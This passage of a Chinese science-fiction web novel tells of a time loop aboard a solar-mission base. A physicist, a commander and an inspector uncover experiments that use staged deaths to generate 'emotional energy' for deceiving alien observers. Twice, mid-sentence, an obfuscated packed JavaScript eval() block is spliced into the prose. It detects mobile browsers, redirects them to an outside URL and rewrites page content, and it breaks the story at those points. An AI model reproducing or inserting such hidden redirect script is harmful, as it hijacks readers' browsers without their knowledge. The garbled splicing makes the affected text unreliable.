穹顶在他左侧三十米处坍塌。合金骨架弯曲的呻吟被真空吞没,只有震动通过地面传来;祝觉明当时在内部调试引力模拟器,坍塌瞬间他被气浪掀飞,后背撞上控制台、肋骨传来清晰的断裂声。 数据屏在他面前依次熄灭,持续三年的观测资料化为滚动的乱码。 救援频道炸开杂音,尔后是怀从咎的嘶吼,每个字都因信号压缩而粗糙: “数据没了可以再算!人死了就什么都没了,撑住!” 穿梭机强行突入破损穹顶的影像在祝觉明眼前展开:机身擦着扭曲钢梁掠过,舷窗映出怀从咎没有表情的面庞;机械臂抓取他所在的气密舱,暴力拽离坍塌区。震动中他看见自己的数据终端在真空里翻飞,芯片阵列散成一场银雪、飘忽回溯。 场景切换。 医疗舱,氧气面罩蒙着白雾;祝觉明缓过来第一句话是对助理嘶声:“备份呢?云端同步到哪一版?”,而助理只敢打给导师然后让导师和他讲:“最后一次同步是七十二小时前。祝觉明,你明知规定……” “那是我三年的工作。” “规定就是规定。你违规离线运算,后果自负。” 他摔了通讯器。 金属外壳撞在舱壁上,弹回脚边;门在这时滑开,怀从咎站在门外,飞行服袖口沾着火星尘,右颊有道新鲜擦伤。两人对视,怀从咎似乎想说什么,但祝觉明已经转回头盯着空白的数据屏,开始心算损失的工作量。 怀从咎看了他一会,什么都没说,转身离开、渐行渐远。 记忆在此处插入异常帧。 视角拉高,越过医疗舱,切入基地指挥中心的观察窗;聂谊生站在窗前,身穿联合政府制服——深灰立领,无军衔标识。他手里拿着记录板,电子笔平稳滑动,记录坍塌时间、救援响应时长、伤亡评估……穹顶彻底崩塌时,冲击波掀起红色尘暴扑向观察窗,聂谊生没有后退,甚至没有眨眼;尘粒在玻璃上划出细密刮痕,他的倒影在刮痕中分裂成无数个平静的侧脸。 救援成功后视讯接通,聂谊生对着屏幕那端的未知者开口,声音平稳得像朗读仪器说明书:“样本A情感剥离度百分之九十二,符合预期。催化抗性高,需持续加压。” 画面冻结。 祝觉明站在火星的虚假红砂上,呼吸着训练场循环过滤的合成风;这段记忆的清晰度过高了。其他往事随时间磨损成色块与概貌、但聂谊生的每个表情细节都被保存完好:他眨眼时上眼睑的细微迟滞、电子笔划过屏幕时指尖的压强、甚至制服领口一道几乎看不见的织线磨损——所有这些都以超常分辨率存储。 这是为什么? 谁要给他看这段经历? 祝觉明闭了闭眼,调出神经记录。 这段记忆的存取时间戳混乱,显示为“三年前/七小时前/未知”。生物编码层叠着至少三重加密协议,其中一层的算法特征与他戒指接收过的观测者代码同源。 ……观测者将祂的眼投到将要交卷的他面前,它不信任与自己勾连的人,同样更不信任自己,是吗? 他建立临时模型,将过往七十二小时内的所有记忆切片输入。模型输出信息熵分布图:正常记忆呈随机波动,但所有含聂谊生的节点熵值一律趋近于零。信息熵为零意味着绝对有序,意味着这些记忆点被系统性编辑、固化,抹去了所有自然遗忘可能产生的噪变。 它们是锚点。 观测者埋设的锚点。 祝觉明何等才智,些微线索他就能抓住、尔后抽丝破茧直至不再凿壁借光。 他砸的是所有全部的真相,拆的是一整面墙。 训练场火星场景开始闪烁,系统发出资源过载警告;祝觉明被强制退出,舱壁回流为银灰、脚下恢复为金属网格。他站在原地,没发现自己加快了呼吸;肋骨传来幻痛,那是记忆强加给现时□□的回声。 他终于理解了那句“生命优先于数据”的重量。 三年前怀从咎吼出那句话时,祝觉明听见的只是字面;现在他听见了字缝里奔流的全部潜台词:在怀从咎的价值序列里,活着的温度永远高于任何成就、哪怕那成就是拯救文明的理论基石。 而他,祝觉明,曾毫不犹豫地将基石置于温度之上,并亲自推向粉碎,再不回复。 这份迟来的理解与顿悟是七万次循环将差异研磨成的粉末,此刻终于渗入伤口、生长出锐利的尖刺,嘲笑他天真的期望。 那么怀从咎又是如何将这份陌路的谬误在心底藏了整整三年只字不提、也不解释自己为何先就他祝觉明而不是数据,只在他们再度合作时听他的那就信他的、不支持但也不反对呢? 不,他反对。 他反对的不是祝觉明,是当年面对祝觉明的不解风情时沉默不解释的自己、是被扣了冤屈当年没解释后来解释也没意义的旧孽、是再遇到祝觉明时不知顺从还是忤逆的纠结。 如果顺从,那祝觉明再后悔怎么办呢? 如果忤逆,那祝觉明再生气怎么办呢? 三年前就是如此。顺着祝觉明拿数据那么自己救不出他、逆着祝觉明的下场他怀从咎看见了,是完全的陌路。 24. 密语窃窃 其实会后悔的是自己吧。 ……怀从咎一定是这样想的。 他无比清晰,要后悔、要愤怒、要无助……都是自己; 因为祝觉明那样无所谓情绪的人,不会未没有达成预期结果的事回头、错了就是错了,下次再修正,这次已经是最好结果了。 落子无悔。 悟已往之不谏,知来者之可追; 实迷途其未远,觉今是而昨非。 祝觉明边想着边走出训练场,走廊另一端的门同步滑开;怀从咎走出来,两人在廊道中央相遇。怀从咎眼下有淡青阴影,锁骨处的作战服领口微微敞开、灼痕边缘泛着低饱和度的红,像埋着未熄灭的灯丝。 祝觉明停下。 怀从咎也停下。 “指挥官。”祝觉明尽量让自己的声音听起来波澜不惊,“我需要与你同步近期航行模型的修正参数。” 怀从咎看着他,目光穿过他的镜片直接落在虹膜上;那目光里有疲惫的勘探,像已看穿这经历过太多地震的地层。 “博士。”怀从咎笑了一下,“你最近总在虚拟训练场待很久。” 总是吗? 祝觉明垂眼,这条线自己刚来啊。 “数据需要反复验证。” “验证到脸色发白?” 祝觉明没接话。他意识到自己的左手正无意识摩挲冰凉的戒面,于是放下手。怀从咎靠近一步,两人之间的距离缩短到社交底线以内,祝觉明能看清他瞳孔里映出的自己:过于平静的表情,以及瞳孔深处那层无法掩藏的厚重。 “我做了梦。”怀从咎低声,仅够两人听见,“陈启在真空里飘着,手腕上的绑带松开了;橙黑编织纹慢慢散开,像水母的触须。还梦见我抓着你,我们一起朝太阳撞过去。细节很清晰,清晰到不像梦。” 祝觉明的呼吸滞了一拍。理性模块自动启动,列举可能性:压力导致的潜意识投射,神经记忆编码错误,高维信息渗漏…… 他该怎么和怀从咎解释这些其实是发生过的真实? “你的灼痕,”他最终找了个最不出错的问题,“最近反应频率是否异常?” 那么多次轮回里反正怀从咎的伤没变,问这个最不会被看穿,而且合情合理。 怀从咎笑了,抬手擒住祝觉明手腕,抓着他食指点上太阳穴。 “博士,你在回避问题。你总是这样,用另一个问题盖住当前问题,用数据盖住情绪。” 祝觉明想抽回手,但怀从咎又微微低头,看着他的眼睛笑着点上自己眉心。 “我这里看到的画面,你这里计算的概率,我们真的在谈论同一场灾难吗?” “灾难只有一个版本。”祝觉明想后退,但怀从咎反而捉的更紧,像那时候捉着他一起去死一样,“……你先放开我。” “但应对方式有无数种。”怀从咎后退,重新拉开距离,“你给我的方案完美得像教科书,每个小数点都对齐。但陈启死的时候,你的模型没预警那个局部场畸变——或者说预警了,但你没告诉我?” 问题直接剥开他所有的规避。 祝觉明感到戒指开始发烫。真实的温度上升和幻觉他分得清,戒面金属传导热量至皮肤,留下细微的刺感。 在这条线上,陈启已经死了吗? 那为什么会议名单还有他? “模型显示的是概率,不是预言。任何干预都会衍生新变量,有些变量不可预测。” 他尽量维持声线平稳,但他觉得自己已经快要绷不住了。 “所以你承认干预了。” “我进行了预防性维护。” “维护制造了新的死法。”怀从咎笑了,“博士,我有个假设:你早知道陈启会死。你不是在预防,你是在众多已知死法中,选择了对你模型扰动最小的。” 沉默沿着走廊延伸。 祝觉明听见自己的心跳,节奏稳定,完美维持在健康区间;他的身体比他的意识更擅长表演正常,虽然他现在无言以对。 “情绪是当前阶段的最大变量。”祝觉明最终毫无情绪的转身,话语自动流出、像预先编写的脚本,“你的直觉天赋珍贵,但需要理性约束。过度解读梦境会干扰判断。” 怀从咎看了他很久,久到祝觉明开始计算这段沉默消耗的时间资源占当日总预算的百分比。 “明白了。”怀从咎点头,那语气与会议时说“明白了”时完全相同,平稳底下压着即将成型的决断,“继续保持理性,博士。希望你的模型算到了所有可能性——包括我完全失控的那一种。” 他转身离开,逐渐远去。 祝觉明站在原地,直到走廊感应灯因久无动作而自动熄灭;黑暗包裹上来,只有安全出口标志泛着低照度的绿。他抬起左手,戒指在暗处微微发光,戒面上流过一行极快的代码残影: COHERENCE -12% PROGRESS: PHASE2 OBSERVER_ACTIVE 他握紧手指,金属边缘硌进掌心。疼痛具体,扎实,将他锚定在此刻此地。火星的记忆,聂谊生的锚点,怀从咎的梦境,戒指的讯号……所有这些碎片开始在他意识中自行拼合,指向逐渐成形的轮廓:这场循环不是惩罚,是程序;而他是程序中的迭代单元,和怀从咎的的碰撞、对峙、乃至每一次不欢而散……都是设定好的调试步骤。 目的?未知。 但他已收集足够多数据。 祝觉明走向实验室,感应灯随他的步伐逐一亮起。他打开终端,新建加密档案;窗外地球继续转动,永夜与永昼缓慢迁移、近日点号在船坞中静默悬挂,等待下一次启航、下一次穿越,下一次在太阳烈焰中验证所有假设。 而循环刚刚启程。 ——— 苏持风行走在走廊里,时不时回头。 她的身影倒映在金属地板上,每次回头时都怕自己身侧多出一个谁给;走廊空荡,感应灯在她身后逐盏熄灭、前方灯光随她的步伐提前亮起,与她一同前行。她数着一扇扇紧闭的门,浏览过门上的标;直到她见到那熟悉的三个字,她才略停下缓了口气。 ——档案室。 她看向权限验证。指纹,虹膜,声纹三重复合,门滑开时发出极轻的嘶声,像将密封罐抽到真空;她侧身进入,门在身后闭合、锁定装置沉入框体。 数据室冷的像冰窟,恒温系统维持在摄氏三度,湿度百分之三十五;墙面嵌满存储阵列,指示灯规律闪烁、蓝光与绿光交织成一片寂静的电子苔原。她走到第三排第七列终端前,拉出老式机械轴的实体键盘;键帽已被磨出光滑的斜面,这是林静渊留下的习惯,她说触控屏没有触觉反馈,容易误操作。 太古早了。 搞这么个需要低温不然就会罢工的机子。 苏持风坐下,呼吸在低温中凝成薄雾;她调出访问日志,先伪造例行维护的入口:输入今日日期,选择“系统诊断”,生成合规工单。 然后她才切入底层检索协议。 她在找三年前的档案吗…… 关键词:“情感能量催化”“林静渊”“初期实验”…… 检索进度条缓慢爬行,百分之十,二十,三十。走廊里没有声音,但她的听觉系统持续捕捉着任何细微的震动,尽管她完全不心虚。 进度条停在百分之六十七。 屏幕上弹出红色警示框:“访问受限。文件加密等级:最高。申请特别许可?” 她早有准备。她从制服内袋取出一枚薄如蝉翼的权限卡,插入读卡槽;卡片是她上个月从郭山错的临时办公室借的,用了四十七分钟复制数据层、再悄悄放回。郭山错不会发现,他的注意力全在任务流程上,这种行政细节他交给系统自动复核。 而系统有漏洞。 权限卡验证通过。警示框消失,档案列表展开。十七份文件,时间跨度从八年前到三年前,标题皆是编码格式: EE-CAT-001至EE-CAT-017。 她点开EE-CAT-009。 文档加载。先是常规的实验概述:林静渊主持,研究目标为“测定高强度情感波动对量子场稳定性的影响”。实验对象为双胞胎宇航员,编号Alpha与Beta。他们被置于模拟深空环境,接受渐进式压力测试。图表显示两人的生理指标、脑波同步率、情绪能量输出…… 尔后是三段视频记录。 苏持风点击播放第一段。 画面里,Alpha和Beta隔着透明隔板对坐。两人穿着基础舱内服,未戴头盔。林静渊的画外音平稳: “现在进行第三阶段。Alpha,请回忆你生命中最痛苦的经历。” Alpha沉默。三秒后,他的呼吸节奏改变,胸膛起伏幅度增大。监测数据跳升:心率从六十二增至一百三十四,肾上腺素水平曲线陡峭;Beta在隔板另一侧开始不安,而实验员没有停下。 “继续,Alpha。描述细节。” “我七岁时……我弟弟死在医疗舱。”Alpha声音嘶哑,“败血症,但本来可以救。医疗资源配额不够,他们抽签决定救谁。我抽中了,他……” 他说不下去了。眼泪涌出却未掉落,在眼眶里积聚成颤动的光;与此同时Beta突然捂住胸口,监测显示两人的脑波出现强共振,频率完全同步。 “记录。情感痛苦可跨介质传递,无需物理接触。” 林静渊的记录。 第二段视频。 场景转换,两人被置于一个环形舱室中央,周围布满场强探测器。林静渊:“现在进行第五阶段。Beta,请想象Alpha即将死亡。” Beta摇头:“我做不到。” “这是指令。” Beta闭上眼睛。十秒后,Alpha开始剧烈咳嗽,仿佛窒息;他的血氧饱和度急速下降,皮肤泛起青紫。Beta睁眼看见,尖叫出声。就在这一瞬,所有探测器的读数同时飙高——情感能量输出峰值达到理论值的百分之八百七十,周围的量子场出现短暂但可测量的稳定现象、持续零点三秒。 林静渊的声音里第一次出现波动:“催化效应确认。定向牺牲可产生高维共振,该能量具备干扰现实结构的基础特性。” 第三段视频很短。 Alpha躺在医疗床上,生命体征微弱。Beta跪在旁边,握着他的手。林静渊的画外音:“实验终止。Alpha因不明原因多器官衰竭,将于十四分钟后死亡。我们记录最后阶段。” Alpha嘴唇翕动,Beta俯身去听。听不见声音,但Beta的表情像一面被砸碎的玻璃那样崩塌,他抱紧Alpha,肩膀颤抖。Alpha停止呼吸的瞬间,Beta的脑波爆发出一道尖锐的脉冲,强度击穿了三个探测器的量程上限。 视频结束。 文档末尾附有结论报告,其中一行加粗:“基于上述数据,火种计划理论模型确立:筛选高情感连接个体,以其中一方的非自然死亡为催化剂,激发另一方产生足以稳定宇宙弦扰动的意识能量。该能量可用于欺骗观测者的文明评估协议。” 苏持风关掉文档。 催化剂吗。 最简单的,A与B的反应缓慢而无法推进,但C作为催化剂加入其中就可反应,这是初中生都会的化学原理。 她不禁有些反胃。理性上她早已猜到大半,但看见具体记录是另一回事;那些曲线,那些数字,那些冷静的描述……将人的痛苦量化成图表,将死亡设计成开关, 这真的正确吗? 她继续翻找。 在EE-CAT-013的附件里,发现一份残缺的《界面者协议》。 页面边缘有烧灼痕迹,文字部分缺失,但关键条款尚可辨认: 条款7.1:观测者集合体授权指定文明个体担任界面者,负责在该文明内部执行评估辅助程序。 条款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174329|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 7.2:界面者享有部分高维信息访问权限,但需定期接受意识校准,防止本土化偏移。 条款7.3:当被测试文明中个体产生记忆锚定效应(即多次时间循环中保持同一性)时,界面者需启动群体记忆屏蔽协议,确保测试环境纯净。 签署方有两处: 第一处:观测者集合体(高维签名,由不断变形的几何图案构成,无法解析)。 第二处:人类文明代表(生物签名模糊,但频谱特征可识别)。 苏持风调出频谱分析工具,将模糊签名导入。系统运行比对,七秒后弹出匹配结果: 匹配对象: 聂谊生。 生物签名相似度99.7%。 次级匹配: 总长“观照”近期神经图谱,同源系数98.9%。 有那么一瞬间她感觉自己呼吸停了。 聂谊生和“观照”是同一意识的两个载体。一个在明处担任军事长官,一个在暗处执掌整个计划。这意味着什么?意味着联合政府最高层早已知情,甚至参与了这场测试,意味着所有决策、所有牺牲、所有循环…… 可能都是协议的一部分。 她调取联合政府高层档案的访问日志。发现所有高层人员的记录中,每隔一百六十八小时会出现一次八分钟的定期记忆审查,恰好七天;审查日志的授权者代码统一为: “NIE-YSH-01”。 聂谊生。 压缩代码。 她继续追踪这个代码的权限范围。 系统显示,NIE-YSH-01拥有全基地最高数据访问权限,包括:实时监控所有人员生理数据、调阅任何加密档案、修改任务指令、甚至直接介入近日点号的航行控制系统…… 其中一项子权限让她浑身发凉: “情绪临界点预警与干预”。 说明写道:“当关键个体(当前标记:怀从咎)情绪波动超过设定阈值时,系统自动向界面者发送预警,并提供干预建议选项。” 她调出怀从咎近期的情绪监测记录。图表显示,在过去七十二小时内,他的情绪峰值出现过三次:第一次在陈启死亡时,第二次在会议室与祝觉明对峙时,第三次在走廊与祝觉明对话后。每次峰值出现前四至六分钟,系统都向NIE-YSH-01发送了预警。 而预警的接收终端定位在—— 指挥中心顶层,总长私人办公室。 苏持风关闭所有界面。存储阵列的指示灯依旧规律闪烁,蓝绿光映在她脸上,像一片冷寂的电子海。她坐着不动,让信息沉淀。 然后她开始打包数据。 这一切其实都不合常理也不合人的思维意志,但既然有林静渊的AI参与,那么出现什么诡异的效应似乎都反而合理。 可是为什么她说查就查到了? 就像把信息瘫在她面前一样,笑吟吟告诉她对就是这样就是这个答案,1+1=2,没有任何悬念与它解。 对,我就是观测者在地球对接的人,现在你什么都知道了。 没有悬念,你反而不敢相信,是么? 苏持风心跳如肋骨,她选择关键片段:实验视频的截取画面、协议条款7.3、聂谊生与“观照”的同源证据、情绪干预系统的截图……她将这些封装进一个加密容器,设置双重解锁:第一重为常规密码,第二重怀从咎的声纹特征…… 只有他亲自说出一段特定短语才能打开。 她在想要不要发一份给祝觉明。 不,他没有被标记,这些机密里被标记的实验载体是怀从咎,他有权知道此事。 她将容器伪装成一份普通的心理评估档案。标题定为:“近日点号指挥官适应性评估(第七次迭代)”。上传至共享数据库,标记接收者为怀从咎,发送方式为定时递送;设定在四小时后,当怀从咎进行例行心理复查时自动触发。 操作完成。她抽出权限卡,起身离开终端;她有些踉跄,膝盖传来细微的酸软,像长时间保持同一姿势后的肌肉抗议。 她走向门口,手放在感应区;门滑开,走廊的光涌进来,比数据室明亮得多,刺得她眯了眯眼。 她迈出步伐,开始往回走。 走廊依旧空荡。 右耳的隐形通讯器传来极轻的滴声——预设的提醒:她留在数据室的访问痕迹已按计划被覆盖,替换为一段伪造的常规维护记录。 覆盖程序运行良好,未触发异常警报。 她继续走。呼吸平缓,肩线放松,所有生理指标维持在正常范围内。这是多年训练的结果: 监察长必须看起来无可指摘,尤其在做了不该做的事之后。 但她没注意到的是,走廊顶部的环境监测摄像头,在她经过第三盏灯时,镜头的焦距发生了微不可察的调整;它对准她前方十五米处的地面,那里有一片反光较强的金属接缝。 摄像头将地面映像实时传输至终端。 终端前祝觉明看着屏幕。 他坐在实验室里,面前并列三块显示屏:左侧是数据室访问日志的实时镜像,他早在上次循环就破解了日志系统的后门;中间是走廊监控画面,右侧是他自己编写的情绪波动分析模型。 模型正在运行,输入数据是苏持风离开数据室后的心率、步频、呼吸间隔的微小变化,通过监控镜头的高精度生物扫描功能间接获取。输出曲线显示:她在数据室内期间情绪紧张度持续高位,离开后缓慢回落;但在行走至走廊中段时出现一个突兀的峰值,对应时刻是她右耳通讯器滴响的瞬间。 祝觉明放大那个峰值。频谱分析显示那不仅仅是紧张,还混合了释然与残余的恐惧;释然来自任务完成,恐惧来自对后果的未知。 他切换画面,调出她刚刚打包发送的加密容器元数据。虽然无法直接读取内容毕竟加密级别很高,但文件大小、封装格式、接收者标记、定时发送设置——这些信息已足够他推断出她传递了什么。 25. 在锈蚀之前 他尤其注意到第二重解锁机制:怀从咎的声纹。 这意味着苏持风希望怀从咎亲自打开,且不打算让其他人经手。也意味着她相信怀从咎有能力理解内容,或者至少有权利知道。 祝觉明靠进座椅,双手交叠放在腿上闭上眼;他的左手无名指上,戒指安静如常,但内部温度比室温高出零点五度。持续的低负荷运算,处理着他刚刚捕获的所有信息。 他想起在上一次循环中,陈启第二次的死因是舱内稀有气体泄漏在睡眠中身亡。当时苏持风在哪里?记录显示她在监察室值班,但有一段十七分钟的活动空白,监控镜头恰好在那段时间例行校准。 不是巧合。 苏持风也在循环里? 或者至少她觉察到了异常,开始主动调查? 祝觉明调出她近期的行程记录。发现她在过去四十八小时内,三次访问了林静渊早期项目的档案库,包括今天;四次与怀从咎有非正式接触,包括走廊偶遇、食堂同桌、训练场外简短对话,还私下调阅了郭山错部门的安保漏洞报告。 这些行为本身合规,但频率和时机值得注意。尤其是在怀从咎情绪波动事件前后,她的出现总是很恰好。 检察长有权利追进任务进程并查阅,但她查的也太巧了。 祝觉明将所有这些数据点输入模型。模型输出概率分布:苏持风已知晓计划部分真相的可能性为87.3%,她正在向怀从咎传递警告的可能性为94.1%,她本人可能也经历过时间异常譬如既视感、梦境残留等的可能性为62.8%。 她果然在循环里。 他关掉模型。 屏幕暗下去,映出他自己的脸;镜片后的眼睛那样沉静,但瞳孔深处那层厚度似乎又增加了些许,像沉积岩又覆盖了新的一层。 他知道苏持风刚刚做了什么。他知道那份加密容器将在四小时后抵达怀从咎的终端。他知道一旦怀从咎打开,看到实验视频和协议条款,他的情绪波动将再次冲破阈值,触发系统的预警,引来聂谊生或观照的干预。 而这一切,祝觉明不打算阻止。 相反,他需要这个裂口;苏持风的行动是变量,是计划外的扰动、在无数次的循环中,他试过所有基于自身计算的方案,全部失败。或许引入另一个知情者的自主行动,能产生不同的轨迹。 他打开新的加密档案,记录观察笔记: 循环标识:当前未计数(疑似新分支) 事件:苏持风(监察长)于标准时21:47侵入数据室,调取林静渊实验档案及《界面者协议》残本,并打包发送给怀从咎(指挥官)。发送定时为4小时后。 推论:苏持风已突破信息封锁,知晓催化机制及聂谊生双重身份。其动机可能为道德反抗或自我保全。 行动建议:监控该信息传递后的连锁反应。重点观测怀从咎接收信息时的生理数据,及聂谊生/观照的应对措施。 他保存档案并加密,隐藏进深层目录。 尔后他调出计划之前陈启宿舍的实时监控。画面里陈启躺在床上,已入睡;呼吸均匀,胸口规律起伏。床头的显示屏亮着,是一张全家福合影:父母和妹妹,背景是地球上的海滩,阳光刺眼。 祝觉明看了十秒,关闭画面。 他起身走到舷窗前。窗外是永恒的黑,地球悬在下方,安静旋转;近日点号在船坞里泛着哑光,像一枚等待发射的子弹。 他的戒指微微发烫。戒面上流过一行新的代码: DATA_LEAK_DETECTED SOURCE: SURVEILLANCE_CHANNEL_09 RESPONSE: OBSERVER_AWARE 他抬手,用拇指指腹按住戒面。温度通过皮肤传导,他知道观测者已经知晓、数据泄露被探测到了,协议在运行;接下来的发展将脱离任何个人的完全控制,进入系统自我调节的阶段。 而他,祝觉明,将继续观察、记录,计算。 直到找到那个唯一的漏洞。 走廊监控画面里,苏持风已走远,身影消失在转角;感应灯在她身后逐一熄灭,长廊重归黑暗,只有安全出口标志泛着低照度的绿。 祝觉明关闭监控窗口。 实验室里只剩屏幕的微光映着他的侧脸,寂静无声。 他在看。 ——— 循环再度打开。 上一次的结局是还没出发就实验室大爆炸,彼时他走在舰桥上,什么都不知道就被猝然甩进了循环。 祝觉明在实验室地板上睁开眼,这次苏醒伴随左肋第三与第四根肋骨间的隐痛,还延迟七秒才抵达意识;他撑地起身,动作比上次流畅了许多。 又来了。 他第一反应调取人员定位。 悬浮屏展开,绿点分布图上郭山错在武器校验室。停留时间四十一分钟;祝觉明放大监控,画面里郭山错站在保养台前,保养的不是制式配枪,是一把暗银色紧凑型手枪。型号不在基地装备名录。 上次不是这样的。 祝觉明截取图像,导入模型比对。 匹配结果:该枪械为三年前“深空哨兵计划”试验产物。计划终止后所有样本应已销毁。 郭山错手里有一把。 保养流程祝觉明很清晰,拆卸、擦拭,上油,重组……枪油的气味透过音频底噪传递微量信息和合成酯类特定分子标记,祝觉明调取数据库,锁定编号:SYN-LUB-07。 该型号挥发速率每二十四小时仅降低百分之零点三。 气味会持久附着。 郭山错重组手枪,装入腿侧枪套,耗时三分十七秒。他转身离开,在门前停顿,抬头看向镜头方向。 祝觉明与画面中的郭山错对视。 郭山错的眼睛在镜头里呈现高对比度,虹膜纹理清晰,但没有表情;他看了一眼,像系统自检扫描硬件节点,尔后推门离开。 祝觉明关闭监控。 搞的他现在都跟林静渊那机械似的要僵化了。 他调出过去七次循环中郭山错的行为日志,建立“清除阈值”变化模型;他输入的变量包括介入冲突响应时间、援引规则条款数、对情绪不稳定定义的修正幅度…… 他以模型运算,输出曲线。 曲线显示明确下降趋势。初始循环中郭山错只对明确叛变行为启动清除程序,第三次循环阈值扩展至持续不服从,第五次循环纳入言论煽动;上次循环中陈启死亡后这人内部备忘录新增:“情绪波动指数持续高于安全阈值百分之八十,视为潜在系统威胁,需预防性控制。” 指数算法还来自祝觉明自己的模型。 他被自己的工具反噬。 祝觉明保存模型,加密。他起身走向训练区,步伐间距维持标准值,呼吸节奏比基准快百分之八;走廊遇见苏持风,她抱数据板,两人擦肩时她低声: “博士,郭部长调阅了您的模型访问日志。” 祝觉明没有停顿:“理由?” “例行安全检查。但他特别查看了情绪波动算法的原始代码。”苏持风加快脚步并行,声音压得更低,“那部分代码里有您设置的权重参数,关于怀从咎的特定敏感指标。” “我知道了。” “您不担心?” “担心是无效能耗。”祝觉明在训练区门前停下,“做好监察工作,其他事务不必过问。” 苏持风看他一眼,点头,转身离开。 训练区内怀从咎已在模拟舱中。舱体悬在环形轨道上进行高速规避演练。祝觉明站在观察窗前,数据流在玻璃上投射淡蓝轨迹:怀从咎生理指标稳定,但灼痕区域温度比基准高零点四度,持续微幅波动。 祝觉明看的是怀从咎,也是镜子里的自己。 数次循环,他现在几乎是卡着标准答案去计算;他自己都由衷地对这种满脑子数据与模型的自己感到害怕,像被林静渊的ai逐步腐蚀。但高强度的复核人脑必没有ai快,他即使是自己算也要导一遍验证;祝觉明闭上眼,几乎有些虚弱的深吸了一口气。 谁来把他拽回人间呢。 只有看到怀从咎的时候,那些不安、忐忑、压抑在面无表情波澜不惊之后的暗流涌动……会提醒他还作为人有着情绪和思维吧。 祝觉明摘了眼镜揉了揉眉心,模拟场景是第七日近日点突入、太阳模型在舱内膨胀,日冕抛射粒子流如金色洪流扑向飞船;怀从咎操作几乎完美,每个规避动作都在理论最优解误差内,但他总在最后关头添加多余微调。 向左偏转零点一度,或减速百分之三。 这些微调累积让航线偏移达到百分之零点二。 与上次循环完全相同。 模拟结束,舱门滑开。怀从咎走出来,飞行服领口敞开,汗水沿锁骨线条滑落,经过灼痕时有些微反光;他看见祝觉明,没有意外,笑了一下。 “博士,观摩指导?” “你的规避模式有固定偏差。”祝觉明调出数据,“每次都在相同时间点添加左转微调。理由?” 怀从咎接过数据板扫了一眼。 “直觉。” 还是那样轻描淡写。 尽管知道每次答案都一样,祝觉明还是每次都锲而不舍的问。 “直觉需要可解释的决策链。” “那您的模型解释清楚陈启怎么死的了吗?” 沉默延展。训练区照明系统自动调暗,进入节能模式,阴影从墙角生长爬上怀从咎侧脸;祝觉明看着他,看着那双眼睛里疲惫,以及疲惫之下正在硬化的底色。 “我做了梦。”怀从咎忽然拦住要离开的祝觉明,“比上次更清楚。陈启倒下去的时候,你站在监控屏前,手指在发抖。我还梦见更早的事……很多次,我们在同一个场景里,说同样的话,然后他死、我们失败,重来。就像现在你看着我,我也看着你——博士,你看着我的眼神,像在看一个已经死了很多次的人。” 祝觉明垂眼,最终还是拂开了他的手。 “一身汗不要抱我,”他淡声,“你看错了。梦境是记忆碎片的错误重组。” “那为什么碎片的边缘能对上现实?”怀从咎上前一步,两人距离缩短到能看见对方瞳孔里自己的倒影,“昨天郭山错保养枪的时候,用的是SYN-LUB-07号油。那油的气味三年前我在火星仓库闻过,当时他说这味道会沾上就洗不掉。刚才他经过我身边,我闻到了,一模一样的气味。” ……这有什么联系吗?? “但郭山错从来不用香水,也不该有火星仓库的记忆。那仓库在他调来轨道基地前就拆了。” 祝觉明感到后颈汗毛立起。这是新变量。怀从咎的感知在渗透时间壁垒,开始捕捉循环残留痕迹;而郭山错——如果他也保留跨循环记忆碎片,哪怕只是气味这种非陈述性记忆,都意味着系统隔离正在失效。 有一个苏持风一起循环还不够吗??? “下午有联合演习。”祝觉明转移话题,“你和郭部长同组测试逃生舱应急协议。请保持专业状态。” “您担心他不专业?” “我担心变量叠加产生不可控后果。” 怀从咎看了他很久,最后笑了一下,重新一手圈住祝觉明一手拨开他发丝、尔后附到他耳边。 “明白了,博士。保持专业。” 他转身离开,祝觉明僵在原地,直到怀从咎背影消失在走廊转角、才调出下午演习流程文件。 文件第七页第三项:“测试应急预案——指挥官失能情况下,安保部长对逃生舱的强制接管程序。” 附录小字备注:“本测试包含实弹模拟环节。” 实弹。 祝觉明手指在触控板上悬停三秒,调取武器系统日志。发现郭山错在上午校验室保养后,为那把暗银色手枪申请了训练用低致命弹头,但申请记录在审批通过后十七分钟被修改,弹头类型变更为标准穿透弹。 修改权限来自高层指令链,加密标识无法直接解析。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174330|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这次循环又是怎么回事? 郭山错要乱来????? 祝觉明启动破解程序。指令链像嵌套黑色盒子,每层加密算法不同,核心特征与观测者代码同源;他绕过前三层,在第四层遇到每三十秒更换的动态密钥,基于生物信号的实时波动。 他植入嗅探程序,捕捉到生成时参考的生物信号频谱。 频谱匹配结果:聂谊生的神经活动模式。 指令链源头标记:“OPERATOR—NIE”。 又来了。 演习在下午三时开始。 三号船坞,近日点号侧舷悬挂三具逃生舱;怀从咎坐在中央舱体内,透过舷窗看见郭山错站在对接廊桥上,深灰制服笔挺,手按腿侧枪套位置。祝觉明在监控室,面前八面屏幕分别显示舱内视角、外部镜头、生命体征数据、武器系统状态。 演习广播响起:“测试开始。场景:指挥官出现精神失控症状,拒绝执行撤离指令。安保部长需强制接管逃生舱。” 怀从咎按照剧本表演“失控”:猛推控制杆,让逃生舱在悬挂架上摇晃。通讯频道里他嘶吼:“我不走!任务还没完成!” 郭山错声音平稳接入:“指挥官,请服从指令。” “滚!” ……这句像真情实感,祝觉明失笑。 